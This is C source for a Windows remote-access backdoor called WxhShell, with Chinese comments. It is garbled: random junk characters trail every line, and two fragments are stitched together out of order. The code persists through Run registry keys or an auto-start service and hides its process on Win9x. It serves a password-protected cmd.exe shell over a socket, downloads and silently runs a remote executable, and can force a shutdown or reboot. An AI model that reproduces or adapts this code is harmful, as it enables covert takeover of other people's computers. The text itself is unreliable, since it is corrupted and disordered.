    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &pK1S>t  
    if(Boot(SHUTDOWN)) =]\,I'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O9A.WSJ >}  
    else { 4eYj.=I  
    closesocket(wsh); u q:>g  
    ExitThread(0); h -+vM9j  
    } SYB } e  
    break;  #It{B  
    } <y6M@(b  
  // 获取shell v(FO8*5DZ  
  case 's': { m=PSC Ib  
    CmdShell(wsh); n O$(\ z)  
    closesocket(wsh); sJ7r9 O`x  
    ExitThread(0); J@H9nw+Q  
    break; -#Yg B5  
  } 8Y sn8  
  // 退出 =! 9+f  
  case 'x': { z++*,2F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &y mfA{s  
    CloseIt(wsh); 4B<D.i ;}  
    break; Xl2Fgg}#  
    } '-4);:(^  
  // 离开 ,78 QLh9:  
  case 'q': { NV9D;g$Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); q3VE\&*^F  
    closesocket(wsh); 6WgGewn  
    WSACleanup(); Z%N{Y x(  
    exit(1); un6grvxr  
    break; W.-[ceM  
        } O=MO M  
  } hh{4r} |  
  } PX(.bP2^Lq  
TRcY!  
  // 提示信息 R6h(mPYA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v~?d7p {  
} T#|Qexz6 @  
  } s)_7*DY  
J1 a/U@"  
  return; R4_4FEo  
} {Lk~O)E  
s59v* /  
// shell模块句柄 Q SW03/_f  
int CmdShell(SOCKET sock) f%an<>j^w  
{ AGx]srl  
STARTUPINFO si; .*r ?zDV  
ZeroMemory(&si,sizeof(si)); "k)( ,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iJZqAfG{m?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X'TQtI  
PROCESS_INFORMATION ProcessInfo; %?<C ?.  
char cmdline[]="cmd"; KR^lmN  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I+!w9o2nZ  
  return 0; ^IjKT  
} ipQJn_:2  
wlAlIvIT  
// 自身启动模式 8%_XJyg  
int StartFromService(void) [kt!\-  
{ 5H6m{ng  
typedef struct 0F1 a  
{ drBWo|/  
  DWORD ExitStatus; `a ["`N^  
  DWORD PebBaseAddress; hWJ\dwF  
  DWORD AffinityMask; z. VuY3  
  DWORD BasePriority; c;xL.  
  ULONG UniqueProcessId; d}EGI  
  ULONG InheritedFromUniqueProcessId; z;zy k  
}   PROCESS_BASIC_INFORMATION; sw[1T_S>  
\wCj$- ;Jt  
PROCNTQSIP NtQueryInformationProcess; ^ W eE%"  
eZ[CqUJ&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^cZF#%k  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6Hi3h{  
jJQ6]ucwa  
  HANDLE             hProcess; "6[' !rq0  
  PROCESS_BASIC_INFORMATION pbi; _'ltz!~  
pZ/x,b#.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7 }4T)k(a  
  if(NULL == hInst ) return 0; C;0H _  
4rO07)~l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >DBaKLu\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xlp^XT6#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @N7X(@O  
Tsxl4ZK  
  if (!NtQueryInformationProcess) return 0; S`8 h]vX  
|P$tLOrG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lE78 Yl]  
  if(!hProcess) return 0; UA!-YTh  
AY5%<CWj8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .5p"o-:D  
MH.,dB&  
  CloseHandle(hProcess); 2oXsPrtZ  
*TfXMN ?w  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5n"b$hMF  
if(hProcess==NULL) return 0; 4'Z=T\:  
.2q7X{4=  
HMODULE hMod; b2aPo M=  
char procName[255]; "o*(i7T=n  
unsigned long cbNeeded; *NS:X7p!V  
;2(8&.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); - jfZLO4  
n[|&nv6x  
  CloseHandle(hProcess); 1#qyD3K  
D.kLx@Z  
if(strstr(procName,"services")) return 1; // 以服务启动 p[4KN(PyK  
\EuMzb"G9p  
  return 0; // 注册表启动 w= |).qQ]  
} hD/bgquT  
Z*tB=  
// 主模块 Rb Jl;  
int StartWxhshell(LPSTR lpCmdLine) oS 7q#`  
{ 0j %s H  
  SOCKET wsl; -|\V'  
BOOL val=TRUE; ;+'x_'a  
  int port=0; NTASrh  
  struct sockaddr_in door; 5D8V)i  
fW~r%u .y  
  if(wscfg.ws_autoins) Install(); 4:.yE|@h[  
kO{A]LnAH  
port=atoi(lpCmdLine); X=USQj\A  
\HF|&@}hU  
if(port<=0) port=wscfg.ws_port; w!,~#hbt6  
y2;uG2IS_g  
  WSADATA data; yDg`9q.ckm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eU&[^  
]dHU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   .t*MGUg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #!wu}nDu  
  door.sin_family = AF_INET; qPDe;$J)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }enm#0Ha  
  door.sin_port = htons(port); PN:/lIO  
H:Y?("k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @W[`^jfQ  
closesocket(wsl); f]W$4f {  
return 1; %ZF47P%6  
} [v ( \y  
Q'/v-bd?o  
  if(listen(wsl,2) == INVALID_SOCKET) { Jz(wXp  
closesocket(wsl); btoye \ rl  
return 1; JnQ5r>!>3  
} _LU]5$\b  
  Wxhshell(wsl); = &jLwy  
  WSACleanup(); =Y Je\745  
h}r.(MVt  
return 0; _^]2??V  
-7,xjn  
} ;*>Y8^K&Q  
EVZuwbO)|  
// 以NT服务方式启动 &o%IKB@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j;6kN-jx  
{ 21Mr2-#z  
DWORD   status = 0; *WdnP.'Y  
  DWORD   specificError = 0xfffffff; qIIc>By(\"  
g\^7Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "i0{E!,XL  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,j\1UAa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =$xxkc.~G  
  serviceStatus.dwWin32ExitCode     = 0; BQ! v\1'C  
  serviceStatus.dwServiceSpecificExitCode = 0; %ub\+~  
  serviceStatus.dwCheckPoint       = 0; f|Dq#(^\  
  serviceStatus.dwWaitHint       = 0; HjCcfOej  
{ZQ|Ydpk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ZmU7tK  
  if (hServiceStatusHandle==0) return; uv,&/ ,;S  
9jW/"  
status = GetLastError(); M9so3L<N0  
  if (status!=NO_ERROR) $fZVh%  
{ w6FtDl$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P(AcDG6K  
    serviceStatus.dwCheckPoint       = 0; |rW,:&;  
    serviceStatus.dwWaitHint       = 0; n1n->l*HGP  
    serviceStatus.dwWin32ExitCode     = status; R@zl?>+  
    serviceStatus.dwServiceSpecificExitCode = specificError; xNDX(_U>\  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f/+UD-@%m  
    return; OwRH :l  
  } 7HfA{.|m  
L *",4!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bit@Kv1<C  
  serviceStatus.dwCheckPoint       = 0; ]$7dkP  
  serviceStatus.dwWaitHint       = 0; 4 :m/w!q$  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); d0ZbusHHb  
} QE8;Jk-  
)2vkaR  
// 处理NT服务事件,比如:启动、停止 p+6L qk<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P(h[QAM  
{ ^}Vx5[  
switch(fdwControl) K`%{(^}.  
{ C.su<B?  
case SERVICE_CONTROL_STOP: ,Hq*zc c  
  serviceStatus.dwWin32ExitCode = 0; cvSr><(  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; O$SQzLZx&  
  serviceStatus.dwCheckPoint   = 0; CjeAO 2  
  serviceStatus.dwWaitHint     = 0; oMdqg4HUF  
  { 2x3%*r$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SA3!a.*c  
  } RC{|:@]8  
  return; y*K]z  
case SERVICE_CONTROL_PAUSE: hf#[Vns  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; LYM(eK5V  
  break; +E5EOo{ `|  
case SERVICE_CONTROL_CONTINUE: W[ZW=c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2g'o5B\ *  
  break; /D@(o`a  
case SERVICE_CONTROL_INTERROGATE: N5m+r.<;  
  break; lxSCN6  
}; #\DKU@|h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c ow]qe6K  
} iLhxcM2K  
ftr?@^  
// 标准应用程序主函数 d9bc>5%-F  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -%I 0Q  
{ Dx:2/"v  
N5]}m:"pk  
// 获取操作系统版本 'UW]~  
OsIsNt=GetOsVer(); g+ZQ6Hz  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *(c><N  
Cx,)$!1  
  // 从命令行安装 Pgdv)i3  
  if(strpbrk(lpCmdLine,"iI")) Install(); BZUA/;Hz &  
~r%>x  
  // 下载执行文件 HzuB.B<  
if(wscfg.ws_downexe) { 83~9Xb=!\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O\;R (  
  WinExec(wscfg.ws_filenam,SW_HIDE); (bT3 r_  
} iRwlK5(&  
F@C^nX9  
if(!OsIsNt) { Aw~N"i  
// 如果时win9x,隐藏进程并且设置为注册表启动 4|yZA*Q^  
HideProc(); @20~R/vh  
StartWxhshell(lpCmdLine); &i/QFO7y}  
} WJXQM[  
else !`UHr]HJ  
  if(StartFromService()) .WeP]dX%:f  
  // 以服务方式启动 o>G^)aRa  
  StartServiceCtrlDispatcher(DispatchTable); /C: rr_4=  
else 9bE/7v  
  // 普通方式启动 }iu(-{Z  
  StartWxhshell(lpCmdLine); 97XGJ1HI  
Td|x~mZv:  
return 0; P. V #  
} qjc8$#zXS  
qYi<GI*|@  
;R#:? r;t  
Q|3SYJf  
=========================================== @-g'BvS  
%b)~K|NEFf  
kVG]zt2  
N=?! ~n9Q-  
fBZ\,  
kJy bA  
" 71$MhPvd<  
i*q!|^M  
#include <stdio.h> c2$&pZ M  
#include <string.h> A&dNCB  
#include <windows.h> [+j39d.Q  
#include <winsock2.h> pbM"tr_A{  
#include <winsvc.h> P0/B!8x  
#include <urlmon.h> *, Mg  
Xy;!Q`h(  
#pragma comment (lib, "Ws2_32.lib") Z T5p  
#pragma comment (lib, "urlmon.lib") 6Eu&%`  
@Z50S 8  
#define MAX_USER   100 // 最大客户端连接数 Gkfc@[Z V  
#define BUF_SOCK   200 // sock buffer =z]8;<=pL  
#define KEY_BUFF   255 // 输入 buffer JW`Kh*,~<  
4 Ii@_r>  
#define REBOOT     0   // 重启 XIrNT:h4  
#define SHUTDOWN   1   // 关机 &;V3[ *W"  
IdvBQ [Gj  
#define DEF_PORT   5000 // 监听端口 TYs#v/)I  
.x^`y2'U  
#define REG_LEN     16   // 注册表键长度 %5zztReI  
#define SVC_LEN     80   // NT服务名长度 9gz"r  
qtv>`:neB  
// 从dll定义API FyZiiH4|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zF F=v7[j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l imzDQ^  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1f.xZgO/2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o4Bl!7U  
Vu6p l  
// wxhshell配置信息 ,Cj8{s&;  
struct WSCFG { l5jW`cl1  
  int ws_port;         // 监听端口 v7l4g&  
  char ws_passstr[REG_LEN]; // 口令 d\cwUXf J  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,0~/ Cn  
  char ws_regname[REG_LEN]; // 注册表键名 M~G1ZB  
  char ws_svcname[REG_LEN]; // 服务名 SwDUg}M~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {mlJE>~%  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 JqDj)}fzX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =&- hU|ur  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >Kd(.r[Er  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LX %8a^?;  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 MI!JZI$z5  
FZ)Y<r8|s  
}; 7{vnhl(Z  
~YuRi#CTD:  
// default Wxhshell configuration |sw&sfH[FD  
struct WSCFG wscfg={DEF_PORT, AR}M*sSh  
    "xuhuanlingzhe", `B`/8Cvg  
    1, :*2+t-  
    "Wxhshell", l; e&p${P  
    "Wxhshell", >e4  
            "WxhShell Service", ,H3C\.%w\  
    "Wrsky Windows CmdShell Service", .2xp.i{  
    "Please Input Your Password: ", !n`ogzOh  
  1, jH*+\:UP-  
  "http://www.wrsky.com/wxhshell.exe", %;.|?gR  
  "Wxhshell.exe" %5_eos&<^)  
    }; 5T[9|zJs  
328(W  
// 消息定义模块 ':7%@2Zo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Q7y6</4f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; -S=Zsr\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nI4xK  
char *msg_ws_ext="\n\rExit."; T#lySev  
char *msg_ws_end="\n\rQuit."; Kis\Rg  
char *msg_ws_boot="\n\rReboot..."; u1 uu_*  
char *msg_ws_poff="\n\rShutdown..."; Bx&.Tj  
char *msg_ws_down="\n\rSave to "; J3sO%4sYR  
k3m|I*_\L  
char *msg_ws_err="\n\rErr!"; p6V`b'*>  
char *msg_ws_ok="\n\rOK!"; f77uqv(Y  
 *it(o  
char ExeFile[MAX_PATH]; ];P^q`n=.  
int nUser = 0; Ih}I`wY-  
HANDLE handles[MAX_USER]; K/~+bq# +  
int OsIsNt; Zq|oj^  
yaf&SR@7k{  
SERVICE_STATUS       serviceStatus; @1 #$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vf@d (g  
sz.(_{5!  
// 函数声明 (n-8p6x(  
int Install(void); (k"oV>a|  
int Uninstall(void); _"Q +G@@  
int DownloadFile(char *sURL, SOCKET wsh); DytOS}/^9  
int Boot(int flag); TJ9,c2d+  
void HideProc(void); _%s_w)  
int GetOsVer(void); B{ NKDkDH  
int Wxhshell(SOCKET wsl); FhB^E$r%  
void TalkWithClient(void *cs); Vgs( feGs  
int CmdShell(SOCKET sock); JF*JF Ob  
int StartFromService(void); F9e$2J)C  
int StartWxhshell(LPSTR lpCmdLine); W%09.bF  
]lF'o&v]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %E7+W{?*1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); US)wr  
h<*l=`#  
// 数据结构和表定义 xZ@H{):  
SERVICE_TABLE_ENTRY DispatchTable[] = b?oT|@  
{ q[]!V0Ek10  
{wscfg.ws_svcname, NTServiceMain}, $JTy`g0>x  
{NULL, NULL} n@BE*I<"  
}; +1p>:cih  
0D>~uNcT}  
// 自我安装 }H{{@RU  
int Install(void) 1vu4}%nD  
{ h*hV  
  char svExeFile[MAX_PATH]; yXNE2K  
  HKEY key; pFSVSSQRV|  
  strcpy(svExeFile,ExeFile); <Ebkb3_  
fHf+!  
// 如果是win9x系统,修改注册表设为自启动 t4?g_$>   
if(!OsIsNt) { !EM21Sc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (FMYR8H*(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  zUqiz  
  RegCloseKey(key); )dLESk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i{VjSWq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ja~b5Tf9  
  RegCloseKey(key); }se)=7d8 Z  
  return 0; dv%gmUUf}k  
    } ~GfcI:Zz&  
  } <uL?7P  
} 'oTcx Jx  
else { NV;5T3  
y wk;  
// 如果是NT以上系统,安装为系统服务 <_ */  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )?pin|_x  
if (schSCManager!=0) )QTk5zt  
{ xn@?CP`-y  
  SC_HANDLE schService = CreateService scqG$~O)  
  ( 1q~U3'l:$  
  schSCManager, !j4C:L3F  
  wscfg.ws_svcname, "JVz v U]  
  wscfg.ws_svcdisp, D +)6#i Y  
  SERVICE_ALL_ACCESS, S:vv*5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {H $\,  
  SERVICE_AUTO_START, SlZL%C;  
  SERVICE_ERROR_NORMAL, `+B+RQl}[  
  svExeFile, 9;Wz;p  
  NULL, qB]z"Hfq,  
  NULL, dWD,iO_"@  
  NULL, h1K 3A5  
  NULL, 6FSw_[)  
  NULL .2 UUU\/5  
  ); ~A8lvuw3  
  if (schService!=0) vG\]xM'u  
  { [p!C+ |rro  
  CloseServiceHandle(schService); gKb4n Nt  
  CloseServiceHandle(schSCManager); ^Sy\<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l$,l3  
  strcat(svExeFile,wscfg.ws_svcname); 2t[c^J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z6>:k,-Ot  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )\^o<x2S  
  RegCloseKey(key); :v{ $]wg  
  return 0; #TW$J/Jb  
    } 9z'</tJ`  
  } 6{azzk8  
  CloseServiceHandle(schSCManager); K^{`8E&A  
} Cqg}dXn'  
} 2y_rsu\  
J~gfMp.  
return 1; f`A  
} ~8pf.^,fi  
QJdSNkc6  
// 自我卸载 AV d  
int Uninstall(void) bvG").8$  
{ &v4w3'@1  
  HKEY key; #yr19i ?  
  |J(]  
if(!OsIsNt) { GetUCb%1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :1Fm~'  
  RegDeleteValue(key,wscfg.ws_regname); B"KsYB79t  
  RegCloseKey(key); *$# r%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9d[0i#`:q  
  RegDeleteValue(key,wscfg.ws_regname); Bf'jXM{-  
  RegCloseKey(key); }%k"qW<Y  
  return 0; <u2*(BM4  
  } '12|:t&7  
} wmo'Pl  
}  QV .A.DK  
else { &@+K%qW[e  
gP( -Op  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @/$mZ]|T  
if (schSCManager!=0) F|P2\SPL  
{ 1v2wP2]|;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sgX}`JH?z  
  if (schService!=0) w,}}mC)\*  
  { n"FOCcTIs  
  if(DeleteService(schService)!=0) { g+k6pi*  
  CloseServiceHandle(schService); ejr"(m(Xe  
  CloseServiceHandle(schSCManager); cWRB=`=qz  
  return 0; cC}s5`  
  } @bqCs^U35  
  CloseServiceHandle(schService); ?sS'T7r v  
  } -S,dG|  
  CloseServiceHandle(schSCManager); ]LSa(7>EU  
} 29qQ3M?  
} uqQMS&;+,|  
JyB>,t)  
return 1; Uw&+zJ  
} <q[ *kr  
'E&K%/d  
// 从指定url下载文件 ~:t2@z4p  
int DownloadFile(char *sURL, SOCKET wsh) l?FNYvL  
{ C>K/C!5?  
  HRESULT hr; s}z,{Y$-t  
char seps[]= "/"; X!2|_  
char *token; }SN'*w@E  
char *file; oTa! F;I  
char myURL[MAX_PATH];  gA[M  
char myFILE[MAX_PATH]; 4l$8lYi  
ycE<7W  
strcpy(myURL,sURL); @nT8[v  
  token=strtok(myURL,seps); (QRl -| +  
  while(token!=NULL) l&|{uk  
  { NXmj<azED  
    file=token; vy#c(:UQR  
  token=strtok(NULL,seps); $`=?Nb@@#  
  } YKx0Zs  
[ThzLk#m  
GetCurrentDirectory(MAX_PATH,myFILE); bs`/k&'  
strcat(myFILE, "\\"); wcL0#[)  
strcat(myFILE, file); ~o2{Wn["  
  send(wsh,myFILE,strlen(myFILE),0); %qE#^ U  
send(wsh,"...",3,0); ?x[>g!r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kW:!$MX!  
  if(hr==S_OK) C,<TAm  
return 0; y]CJOC)/K  
else M^[ jA](a  
return 1; qt:->yiq+  
Wey\GQ`"8  
} 'P Yl%2  
3)-#yOr  
// 系统电源模块 CTP%  
int Boot(int flag) cq=R  
{ }>1E,3A:%G  
  HANDLE hToken; eS.]@ E-T  
  TOKEN_PRIVILEGES tkp; A"k,T7B  
j?mJ1J5  
  if(OsIsNt) { _0f[.vN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3AL.UBj&}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $I/p6  
    tkp.PrivilegeCount = 1; aLq;a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }I10hy~W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qB:`tHy  
if(flag==REBOOT) { Hb$q}1+y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) mzw*6e2T  
  return 0; h/k`+  
} nSC>x:jY5/  
else { X@G`AD'.M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Sh*P^i.]+  
  return 0; ^\6UTnS.  
} TSk6Q'L\v  
  } l )4OV>  
  else { \mDm *UuG  
if(flag==REBOOT) { PaZYs~EO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gJ7$G3&oZg  
  return 0; #RD%GLY  
} ;'Q{ ywr  
else { jl@8pO$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <>:kAT,sP  
  return 0; M@K[i*e  
} 5a~1RL  
} I|5OCTu  
={Hbx> p  
return 1; Sce9R?II  
} Zk[#B UA  
5jLDe~  
// win9x进程隐藏模块 t(yv   
void HideProc(void) #n7{ 3)   
{ \[&]kPcDl  
')aYkO{%sb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X<{m;T `  
  if ( hKernel != NULL ) &Xav$6+Z1J  
  { Ll`apKr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $d=lDN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1%+^SR72  
    FreeLibrary(hKernel); D5p22WY  
  } FN R& :  
gkdjH8(2  
return; o (zg_!P  
} L}mhMxOTi  
x9e 9$ww}  
// 获取操作系统版本 vKC>t95  
int GetOsVer(void) 4kM<L}J#  
{ 'yNp J'  
  OSVERSIONINFO winfo; GND[f}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g;h&Xkp  
  GetVersionEx(&winfo); 9T1G/0k-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6>Cubb>  
  return 1; t|m3b~Oyv  
  else r:cUAe7#  
  return 0; 4HJrR^  
} Qi61(lK  
3C2 >   
// 客户端句柄模块 &M!:,B  
int Wxhshell(SOCKET wsl) "mf;k^sqS  
{ Xy{+=UY  
  SOCKET wsh; uE$o4X  
  struct sockaddr_in client; 4Rn i7qH  
  DWORD myID; }NXESZYoi  
 V("1\  
  while(nUser<MAX_USER) _biJch  
{ D/WS  
  int nSize=sizeof(client); {JgN^R<5<f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); OOCeZ3yF(  
  if(wsh==INVALID_SOCKET) return 1; kWd'gftQ  
[oj"Tn(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SXEiyy[7v  
if(handles[nUser]==0) ht |r+v-  
  closesocket(wsh); >`:+d'Jv0  
else 66*o2D\Q*G  
  nUser++; PwW@I~@>  
  } 'gGB-=yvbO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); bv/b<N@4?$  
wO#+8js  
  return 0; vF&b|V+,  
} Nz;;X\GI  
c0 |p34  
// 关闭 socket tp<VOUa  
void CloseIt(SOCKET wsh) [P/gM3*'  
{ v(iUo&Ge  
closesocket(wsh); sfa'\6=O  
nUser--; qpl5n'qHUc  
ExitThread(0); p2G8 Qls  
} .D .Rn/  
o1Ln7r.  
// 客户端请求句柄 zTLn*?  
void TalkWithClient(void *cs) Sg-xm+iSDt  
{ |BW,pT  
S2)S/ nf  
  SOCKET wsh=(SOCKET)cs; _LNPB$P  
  char pwd[SVC_LEN]; 7;NV 1RV  
  char cmd[KEY_BUFF]; 2#3R]zIO  
char chr[1]; y`\Mhnj  
int i,j; 8GldVn.u  
>Il`AR;D  
  while (nUser < MAX_USER) { ,X^_w g  
Zi)b<tM q  
if(wscfg.ws_passstr) { a"}#HvB+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p0K;m%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {%{GZ  
  //ZeroMemory(pwd,KEY_BUFF); h86={@Le  
      i=0; w|C~{  
  while(i<SVC_LEN) { aB^G  
t5h_Q92N  
  // 设置超时 Z<W6Avr  
  fd_set FdRead; !Yu-a!  
  struct timeval TimeOut; >nQ yF  
  FD_ZERO(&FdRead); {M/c!  
  FD_SET(wsh,&FdRead); / JB4#i7  
  TimeOut.tv_sec=8; )*h~dx_cm  
  TimeOut.tv_usec=0; 9#ft;c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $x;h[,y   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )\vHIXnfJ1  
{R;M`EU>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yU,xcq~l  
  pwd=chr[0]; p'~5[JR:  
  if(chr[0]==0xd || chr[0]==0xa) { 31& .Lnq  
  pwd=0; u9w&q^0dqG  
  break; Kdu\`c-lB  
  } 8F`  
  i++; *K'ej4"u  
    } P*`xiTA  
/Ph&:n\4  
  // 如果是非法用户,关闭 socket sG2 3[t8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E]U0CwFtr  
} `Xdxg\|  
KVxb"|[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /T)n5X  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 493i*j5r)l  
4iqmi<[("  
while(1) { Z4ioXl  
k&iDJt  
  ZeroMemory(cmd,KEY_BUFF); MdZgS#`  
dM{~Ubb  
      // 自动支持客户端 telnet标准   DA`sm  
  j=0; #G` ,  
  while(j<KEY_BUFF) { A(OfG&!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uz3pc;0LPY  
  cmd[j]=chr[0]; xY2_*#{.  
  if(chr[0]==0xa || chr[0]==0xd) { ROS"VV<  
  cmd[j]=0; g ypq`F  
  break; 7CM03R[P  
  } h6y4Ii  
  j++; f\|?_k]  
    } {@__%=`CCS  
BK9x`Oo2  
  // 下载文件 '<< ~wt  
  if(strstr(cmd,"http://")) { Uy5!H1u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); %@n8 ?l4  
  if(DownloadFile(cmd,wsh)) ir:~*|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P 4*MV  
  else wI@I(r~ g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cuaNAJ  
  } 6\fMzm  
  else { .*-w UBr  
B36puz 0{  
    switch(cmd[0]) { OP`Jc$| 6  
